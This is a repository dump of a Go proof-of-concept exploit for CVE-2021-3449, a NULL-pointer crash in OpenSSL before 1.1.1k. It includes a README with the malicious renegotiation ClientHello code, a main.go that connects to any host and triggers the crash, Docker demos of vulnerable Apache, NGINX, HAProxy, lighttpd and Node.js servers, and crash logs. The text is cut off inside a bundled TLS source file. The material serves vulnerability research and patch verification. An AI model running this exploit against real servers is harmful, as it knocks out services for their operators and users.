Repository: terorie/cve-2021-3449 Branch: main Commit: 442a64fb81e9 Files: 35 Total size: 220.5 KB Directory structure: gitextract_ddh48f11/ ├── .gitignore ├── Makefile ├── README.md ├── demo/ │ ├── .dockerignore │ ├── .gitignore │ ├── Makefile │ ├── apache-default-ssl.conf │ ├── apache.Dockerfile │ ├── base.Dockerfile │ ├── haproxy.Dockerfile │ ├── haproxy.cfg │ ├── lighttpd-10-ssl.conf │ ├── lighttpd.Dockerfile │ ├── nginx.Dockerfile │ ├── nginx.conf │ ├── nodejs.Dockerfile │ ├── nodejs.js │ ├── openssl-1.1.1j.tar.gz.sha256sum │ └── openssl.Dockerfile ├── go.mod ├── go.sum ├── main.go └── tls/ ├── alert.go ├── auth.go ├── cipher_suites.go ├── common.go ├── conn.go ├── generate_cert.go ├── handshake_client.go ├── handshake_messages.go ├── key_agreement.go ├── key_schedule.go ├── prf.go ├── ticket.go └── tls.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /cve-2021-3449 ================================================ FILE: Makefile ================================================ cve-2021-3449: main.go $(wildcard tls/*.go) go build -o cve-2021-3449 . export UBUNTU_VERSION .ONESHELL: demo-openssl: cve-2021-3449 $(MAKE) -C demo start-openssl sleep 2 ./cve-2021-3449 -host localhost:4433 $(MAKE) -C demo stop-openssl .ONESHELL: demo-apache: cve-2021-3449 $(MAKE) -C demo start-apache sleep 10 ./cve-2021-3449 -host localhost:443 sleep 5 $(MAKE) -C demo stop-apache .ONESHELL: demo-haproxy: cve-2021-3449 $(MAKE) -C demo start-haproxy sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-haproxy .ONESHELL: demo-lighttpd: cve-2021-3449 $(MAKE) -C demo start-lighttpd sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-lighttpd .ONESHELL: demo-nginx: cve-2021-3449 $(MAKE) -C demo start-nginx sleep 3 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-nginx .ONESHELL: demo-nodejs: cve-2021-3449 $(MAKE) -C demo start-nodejs sleep 8 ./cve-2021-3449 -host localhost:4433 sleep 3 $(MAKE) -C demo stop-nodejs clean: rm -f cve-2021-3449 $(MAKE) -C demo clean ================================================ FILE: README.md ================================================ # CVE-2021-3449 OpenSSL <1.1.1k DoS exploit Usage: `go run . -host hostname:port` This program implements a proof-of-concept exploit of CVE-2021-3449 affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted. It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation". The attack involves a maliciously-crafted `ClientHello` that causes the server to crash by causing a NULL pointer dereference (Denial-of-Service). ## References - [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt) - [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449) - [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1) - [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449) - [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449) > This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was > developed by Peter Kästle and Samuel Sapalski from Nokia. ## Mitigation The only known fix is to update `libssl1.1`. Even though some applications use hardened TLS configurations by default that disable TLS renegotiation, they are still affected by the bug if running an old OpenSSL version. ## Exploit `main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects. The exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package. You can find it in `handshake_client.go:115`. The logic is self-explanatory. ```go // CVE-2021-3449 exploit code. if hello.vers >= VersionTLS12 { if c.handshakes == 0 { println("sending initial ClientHello") hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms } else { // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference // if the supported_signature_algorithms extension is omitted, // but supported_signature_algorithms_cert is present. println("sending malicious ClientHello") hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms } } ``` – [@terorie](https://github.com/terorie) ## Demo The `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL. Test setup: - Download and compile the vulnerable OpenSSL 1.1.1j version locally - Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries - Install application onto target container - Start server and execute attack Requirements: - OpenSSL (on the host) - `build-essential` (Perl, GCC, Make) - Docker **Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.** | Server | Distro | Version | Demo | Result | | -------------------------------------------- | ------------ | ------- | -------------------- | ------------- | | [OpenSSL s_server](#openssl-simple-server) | - | 1.1.1j | `make demo-openssl` | Crash | | [Apache2](#apache2-httpd) | Ubuntu 18.04 | 2.4.29 | `make demo-apache2` | Partial crash | | [HAProxy](#haproxy) | Ubuntu 18.04 | 1.8.8 | `make demo-haproxy` | Crash | | [HAProxy](#haproxy) | Ubuntu 20.04 | 2.0.13 | `make demo-haproxy` | No effect | | [lighttpd](#lighttpd) | Ubuntu 18.04 | 1.4.55 | `make demo-lighttpd` | Crash | | [lighttpd](#lighttpd) | Ubuntu 20.04 | 1.4.55 | `make demo-lighttpd` | Crash | | [lighttpd](#lighttpd) | Ubuntu 21.04 | 1.4.59 | `make demo-lighttpd` | No effect with config option | | [NGINX](#nginx) | Ubuntu 18.04 | 1.14.0 | `make demo-nginx` | Partial crash | | [NGINX](#nginx) | Ubuntu 20.04 | 1.18.0 | `make demo-nginx` | No effect | | Node.js <=12 | Ubuntu 18.04 | | | No effect | | [Node.js >12](#nodejs) | Ubuntu 18.04 | ? | `make demo-nodejs` | Crash | | [Node.js >12](#nodejs) | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs` | No effect | To clean up all demo resources, run `make clean`. ### OpenSSL simple server The `openssl s_server` is a minimal TLS server implementation. * `make demo-openssl`: Full run (port 4433) * `make -C demo build-openssl`: Build target Docker image * `make -C demo start-openssl`: Start target at port 4433 * `make -C demo stop-openssl`: Stop target Result: Full server crash. **Logs** ``` docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17 docker logs -f cve-2021-3449-openssl & sleep 2 warning: Error disabling address space randomization: Operation not permitted [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Using default temp DH parameters ACCEPT sending initial ClientHello connected sending malicious ClientHello [[truncated]] Program received signal SIGSEGV, Segmentation fault. 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1 #15 0x000055aa5a10f209 in sv_body () #16 0x000055aa5a1302ec in do_server () #17 0x000055aa5a114815 in s_server_main () #18 0x000055aa5a0f9395 in do_cmd () #19 0x000055aa5a0f9ee1 in main () malicious handshake failed, exploit might have worked ``` ### Apache2 httpd Apache2 `httpd` web server with default configuration is vulnerable. * `make demo-apache`: Full run (port 443) * `make -C demo build-apache`: Build target Docker image * `make -C demo start-apache`: Start target at port 443 * `make -C demo stop-apache`: Stop target Thank you to [@binarytrails](https://github.com/binarytrails) for the contribution. Result: Partial disruption, main process still alive but worker process crashed. **Logs** ``` docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2 0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8 docker logs -f cve-2021-3449-apache2 & [[truncated]] sending initial ClientHello connected sending malicious ClientHello [Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443) [Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found [Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits) [Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation [Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found malicious handshake failed, exploit might have worked: EOF [Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2 ``` ### HAProxy HAProxy versions 2.0.13 and up are not affected. Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable. * `make demo-haproxy`: Full run (port 4433) * `make -C demo build-haproxy`: Build target Docker image * `make -C demo start-haproxy`: Start target at port 4433 * `make -C demo stop-haproxy`: Stop target Tests run using master-worker mode (`-W` flag, default on Debian). Surprisingly, the master process exits if a worker process dies. Result: Full server crash. **Logs** ``` docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy 1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8 docker logs -f cve-2021-3449-haproxy & sending initial ClientHello connected sending malicious ClientHello malicious handshake failed, exploit might have worked: EOF [ALERT] 086/075305 (1) : Current worker 7 exited with code 139 [ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM [WARNING] 086/075305 (1) : All workers exited. Exiting... (139) ``` ### lighttpd lighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = "enable"` is configured in lighttpd.conf. lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable. * `make demo-lighttpd`: Full run (port 4433) * `make -C demo build-lighttpd`: Build target Docker image * `make -C demo start-lighttpd`: Start target at port 4433 * `make -C demo stop-lighttpd`: Stop target Result: Full server crash. **Logs** ``` docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd 84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232 docker logs -f cve-2021-3449-lighttpd & sending initial ClientHello connected sending malicious ClientHello malicious handshake failed, exploit might have worked: EOF /bin/bash: line 1: 7 Segmentation fault lighttpd -D -f /etc/lighttpd/lighttpd.conf ``` ### NGINX NGINX versions 1.18.0 and up are not vulnerable. NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io) NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine, since they include the `SSL_OP_NO_RENEGOTIATION` patch: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html * `make demo-nginx`: Full run (port 4433) * `make -C demo build-nginx`: Build target Docker image * `make -C demo start-nginx`: Start target at port 4433 * `make -C demo stop-nginx`: Stop target Result: Partial disruption, main process still alive but worker process crashed. **Logs** ``` docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70 docker logs -f cve-2021-3449-nginx & sending initial ClientHello connected sending malicious ClientHello malicious handshake failed, exploit might have worked: EOF 2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped) ``` ### Node.js Node.js `https.createServer()` is vulnerable. * `make demo-nodejs`: Full run (port 4433) * `make -C demo build-nodejs`: Build target Docker image * `make -C demo start-nodejs`: Start target at port 4433 * `make -C demo stop-nodejs`: Stop target Result: Full server crash. **Logs** ``` server started sending initial ClientHello connected sending malicious ClientHello Thread 1 "node" received signal SIGSEGV, Segmentation fault. 0x000000000160714e in tls1_process_sigalgs () #0 0x000000000160714e in tls1_process_sigalgs () #1 0x00000000016074b3 in tls1_set_server_sigalgs () #2 0x00000000016007dd in tls_post_process_client_hello () #3 0x00000000015ef692 in state_machine.part () #4 0x00000000015c1a6d in ssl3_read_bytes () #5 0x00000000015ca2c7 in ssl3_read () #6 0x00000000015d6491 in SSL_read () #7 0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() () #8 0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) () #9 0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) () #10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239 #11 0x0000000001484c90 in uv__stream_io (loop=, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306 #12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462 #13 0x0000000001479318 in uv_run (loop=0x45a1020 , mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385 #14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) () #15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) () #16 0x0000000000a4f73a in node::Start(int, char**) () #17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0
, argc=2, argv=0x7fff42035238, init=, fini=, rtld_fini=, stack_end=0x7fff42035228) at ../csu/libc-start.c:310 #18 0x00000000009ce26c in _start () malicious handshake failed, exploit might have worked: EOF ``` ## Copyright This repository bundles the `encoding/tls` package of the Go programming language. ``` // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. ``` ================================================ FILE: demo/.dockerignore ================================================ * !*.so* !openssl !server.pem !apache-default-ssl.conf !haproxy.cfg !lighttpd-10-ssl.conf !nginx.conf !nodejs.js ================================================ FILE: demo/.gitignore ================================================ /openssl-1.1.1j/ /openssl_dir /openssl-1.1.1j.tar.gz /openssl-1.1.1j.tar.gz.download /openssl *.pem *.so* ================================================ FILE: demo/Makefile ================================================ CFLAGS ?= -Og -Wall export CFLAGS CXXFLAGS ?= -Og -Wall export CXXFLAGS IMAGE_PREFIX := local/cve-2021-3449 UBUNTU_VERSION ?= focal IMAGE_INT := $(IMAGE_PREFIX)/base-$(UBUNTU_VERSION) IMAGE_INT_REQ := build-base-$(UBUNTU_VERSION) CONTAINER_PREFIX := cve-2021-3449 TARGETS := apache haproxy lighttpd nginx nodejs openssl BUILD_TARGETS := $(addprefix build-, $(TARGETS)) .PHONY: $(BUILD_TARGETS) $(BUILD_TARGETS): build-%: $(IMAGE_INT_REQ) docker build -f $*.Dockerfile -t $(IMAGE_PREFIX)/$* --build-arg "BASE_IMAGE=$(IMAGE_INT)" . START_TARGETS := $(addprefix start-, $(TARGETS)) .PHONY: $(START_TARGETS) $(START_TARGETS): start-%: build-% docker run -d -it --name $(CONTAINER_PREFIX)-$* --network host $(IMAGE_PREFIX)/$* docker logs -f $(CONTAINER_PREFIX)-$* & LOGS_TARGETS := $(addprefix logs-, $(TARGETS)) .PHONY: $(LOGS_TARGETS) $(LOGS_TARGETS): logs-%: docker logs $(CONTAINER_PREFIX)-$* STOP_TARGETS := $(addprefix stop-, $(TARGETS)) .PHONY: $(STOP_TARGETS) $(STOP_TARGETS): stop-%: docker container rm -f $(CONTAINER_PREFIX)-$* || true .PHONY: $(IMAGE_INT_REQ) $(IMAGE_INT_REQ): libcrypto.so.1.1 libssl.so.1.1 openssl server.pem docker build -f base.Dockerfile -t $(IMAGE_INT) --build-arg "BASE_IMAGE=ubuntu:$(UBUNTU_VERSION)" . server.pem: openssl req -x509 -newkey rsa:2048 -keyout ./key.pem -out ./cert.pem -days 365 -nodes -subj "/CN=dummycert/O=My Company Name/C=US" cat key.pem cert.pem >> server.pem rm key.pem cert.pem .PHONY: clean clean: $(STOP_TARGETS) docker image rm -f $(addprefix $(IMAGE_PREFIX)/,$(TARGETS)) rm -rf ./*.pem ./*.so* ./openssl ./openssl_dir ./openssl-1.1.1j ./openssl-1.1.1j.tar.gz ./openssl-1.1.1j.tar.gz.download openssl libcrypto.so.1.1 libssl.so.1.1: openssl_dir/Makefile $(MAKE) -C openssl_dir -j4 apps/openssl libcrypto.so libssl.so ln -f openssl_dir/libcrypto.so.1.1 libcrypto.so.1.1 ln -f openssl_dir/libssl.so.1.1 libssl.so.1.1 ln -f openssl_dir/apps/openssl openssl openssl_dir/Makefile: openssl_dir/.downloaded cd openssl_dir && ./config && $(MAKE) build_generated openssl_dir/.downloaded: openssl-1.1.1j.tar.gz tar -xzf openssl-1.1.1j.tar.gz ln -sf openssl-1.1.1j openssl_dir touch openssl_dir/.downloaded openssl-1.1.1j.tar.gz: openssl-1.1.1j.tar.gz.download sha256sum -c openssl-1.1.1j.tar.gz.sha256sum ln -sf openssl-1.1.1j.tar.gz.download openssl-1.1.1j.tar.gz openssl-1.1.1j.tar.gz.download: curl https://www.openssl.org/source/old/1.1.1/openssl-1.1.1j.tar.gz --output openssl-1.1.1j.tar.gz.download ================================================ FILE: demo/apache-default-ssl.conf ================================================ ServerAdmin webmaster@localhost DocumentRoot /var/www/html LogLevel info ssl:debug ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key SSLOptions +StdEnvVars SSLOptions +StdEnvVars # vim: syntax=apache ts=4 sw=4 sts=4 sr noet ================================================ FILE: demo/apache.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root RUN DEBIAN_FRONTEND=noninteractive \ apt-get install -y apache2 COPY apache-default-ssl.conf /etc/apache2/sites-enabled/default-ssl.conf RUN a2enmod ssl ENTRYPOINT ["/bin/bash", "-c"] CMD ["/usr/sbin/apachectl start && sleep 2 && tail -n+0 -f /var/log/apache2/error.log"] ================================================ FILE: demo/base.Dockerfile ================================================ # Create base system with a vulnerable OpenSSL version. ARG BASE_IMAGE=ubuntu:bionic FROM $BASE_IMAGE RUN DEBIAN_FRONTEND=noninteractive \ apt-get update \ && apt-get install -y libssl1.1 openssl gdb curl # Patch in the vulnerable OpenSSL version. COPY libssl.so.1.1 libcrypto.so.1.1 /usr/lib/x86_64-linux-gnu/ COPY openssl /usr/bin/ # Copy the self-signed certificate. COPY server.pem /root/ ================================================ FILE: demo/haproxy.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root RUN DEBIAN_FRONTEND=noninteractive \ apt-get install -y haproxy COPY haproxy.cfg /etc/haproxy/ ENTRYPOINT ["/bin/bash", "-c"] CMD ["haproxy -W -f /etc/haproxy/haproxy.cfg"] ================================================ FILE: demo/haproxy.cfg ================================================ # generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration # https://ssl-config.mozilla.org/#server=haproxy&version=2.1&config=intermediate&openssl=1.1.1j&guideline=5.6 global # intermediate configuration ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 ssl-default-bind-options prefer-client-ciphers no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets ssl-default-server-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 ssl-default-server-options no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets frontend ft_test mode http bind :4433 ssl crt /root/server.pem alpn h2,http/1.1 # HSTS (63072000 seconds) http-response set-header Strict-Transport-Security max-age=63072000 ================================================ FILE: demo/lighttpd-10-ssl.conf ================================================ # generated 2021-03-28, Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration # https://ssl-config.mozilla.org/#server=lighttpd&version=1.4.55&config=intermediate&openssl=1.1.1j&guideline=5.6 $SERVER["socket"] == ":80" { url.redirect = ("" => "https://${url.authority}${url.path}${qsa}") } $SERVER["socket"] == ":4433" { ssl.engine = "enable" ssl.pemfile = "/root/server.pem" # intermediate configuration ssl.openssl.ssl-conf-cmd = ("Protocol" => "ALL, -SSLv2, -SSLv3, -TLSv1, -TLSv1.1") ssl.cipher-list = "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384" ssl.honor-cipher-order = "disable" # HTTP Strict Transport Security (63072000 seconds) setenv.add-response-header = ( "Strict-Transport-Security" => "max-age=63072000" ) } ================================================ FILE: demo/lighttpd.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root RUN DEBIAN_FRONTEND=noninteractive \ apt-get install -y lighttpd COPY lighttpd-10-ssl.conf /etc/lighttpd/conf-enabled/10-ssl.conf ENTRYPOINT ["/bin/bash", "-c"] CMD ["lighttpd -D -f /etc/lighttpd/lighttpd.conf && true"] ================================================ FILE: demo/nginx.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root RUN DEBIAN_FRONTEND=noninteractive \ apt-get install -y nginx COPY nginx.conf /etc/nginx/ ENTRYPOINT ["/bin/bash", "-c"] CMD ["nginx && sleep 2 && tail -n+0 -f /var/log/nginx/error.log"] ================================================ FILE: demo/nginx.conf ================================================ user root; pid /run/nginx.pid; worker_processes auto; worker_rlimit_nofile 65535; events { multi_accept on; worker_connections 65535; } http { charset utf-8; sendfile on; tcp_nopush on; tcp_nodelay on; server_tokens off; log_not_found off; types_hash_max_size 2048; types_hash_bucket_size 64; client_max_body_size 16M; # MIME include mime.types; default_type application/octet-stream; # Logging access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log warn; # SSL ssl_session_timeout 1d; ssl_session_cache shared:SSL:10m; ssl_session_tickets off; # Mozilla Intermediate configuration ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384; server { listen 4433 ssl http2; listen [::]:4433 ssl http2; server_name example.com; root /var/www/html; # SSL ssl_certificate /root/server.pem; ssl_certificate_key /root/server.pem; ssl_trusted_certificate /root/server.pem; } } ================================================ FILE: demo/nodejs.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root RUN DEBIAN_FRONTEND=noninteractive \ curl -fsSL https://deb.nodesource.com/setup_15.x | bash - \ && apt-get install -y nodejs COPY nodejs.js /root/ CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/node", "/root/nodejs.js"] ================================================ FILE: demo/nodejs.js ================================================ const https = require('https'); const fs = require('fs'); const options = { key: fs.readFileSync('server.pem'), cert: fs.readFileSync('server.pem') }; https.createServer(options, function (req, res) { res.writeHead(200); res.end("hello world\n"); }).listen(4433); console.log("server started"); ================================================ FILE: demo/openssl-1.1.1j.tar.gz.sha256sum ================================================ aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf openssl-1.1.1j.tar.gz.download ================================================ FILE: demo/openssl.Dockerfile ================================================ ARG BASE_IMAGE FROM ${BASE_IMAGE} WORKDIR /root CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/openssl", "s_server"] ================================================ FILE: go.mod ================================================ module cve_2021_3449 go 1.14 require golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 ================================================ FILE: go.sum ================================================ golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w= golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= ================================================ FILE: main.go ================================================ package main import ( "flag" "os" "cve_2021_3449/tls" ) func main() { host := flag.String("host", "", "host:port to connect to") servername := flag.String("sni", "", "servername") flag.Parse() // Connect to the target, forcing TLSv1.2 conn, err := tls.Dial("tcp", *host, &tls.Config{ InsecureSkipVerify: true, Renegotiation: tls.RenegotiateFreelyAsClient, ServerName: *servername, }) if err != nil { println("failed to connect: " + err.Error()) os.Exit(1) } defer conn.Close() println("connected") // Force a TLS renegotiation per RFC 5746. if err := conn.Handshake(); err != nil && err.Error() == "tls: handshake failure" { println("server is not vulnerable, exploit failed") } else if err != nil { println("malicious handshake failed, exploit might have worked: " + err.Error()) } else { println("malicious renegotiation successful, exploit failed") } } ================================================ FILE: tls/alert.go ================================================ // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import "strconv" type alert uint8 const ( // alert level alertLevelWarning = 1 alertLevelError = 2 ) const ( alertCloseNotify alert = 0 alertUnexpectedMessage alert = 10 alertBadRecordMAC alert = 20 alertDecryptionFailed alert = 21 alertRecordOverflow alert = 22 alertDecompressionFailure alert = 30 alertHandshakeFailure alert = 40 alertBadCertificate alert = 42 alertUnsupportedCertificate alert = 43 alertCertificateRevoked alert = 44 alertCertificateExpired alert = 45 alertCertificateUnknown alert = 46 alertIllegalParameter alert = 47 alertUnknownCA alert = 48 alertAccessDenied alert = 49 alertDecodeError alert = 50 alertDecryptError alert = 51 alertProtocolVersion alert = 70 alertInsufficientSecurity alert = 71 alertInternalError alert = 80 alertInappropriateFallback alert = 86 alertUserCanceled alert = 90 alertNoRenegotiation alert = 100 alertMissingExtension alert = 109 alertUnsupportedExtension alert = 110 alertUnrecognizedName alert = 112 alertNoApplicationProtocol alert = 120 ) var alertText = map[alert]string{ alertCloseNotify: "close notify", alertUnexpectedMessage: "unexpected message", alertBadRecordMAC: "bad record MAC", alertDecryptionFailed: "decryption failed", alertRecordOverflow: "record overflow", alertDecompressionFailure: "decompression failure", alertHandshakeFailure: "handshake failure", alertBadCertificate: "bad certificate", alertUnsupportedCertificate: "unsupported certificate", alertCertificateRevoked: "revoked certificate", alertCertificateExpired: "expired certificate", alertCertificateUnknown: "unknown certificate", alertIllegalParameter: "illegal parameter", alertUnknownCA: "unknown certificate authority", alertAccessDenied: "access denied", alertDecodeError: "error decoding message", alertDecryptError: "error decrypting message", alertProtocolVersion: "protocol version not supported", alertInsufficientSecurity: "insufficient security level", alertInternalError: "internal error", alertInappropriateFallback: "inappropriate 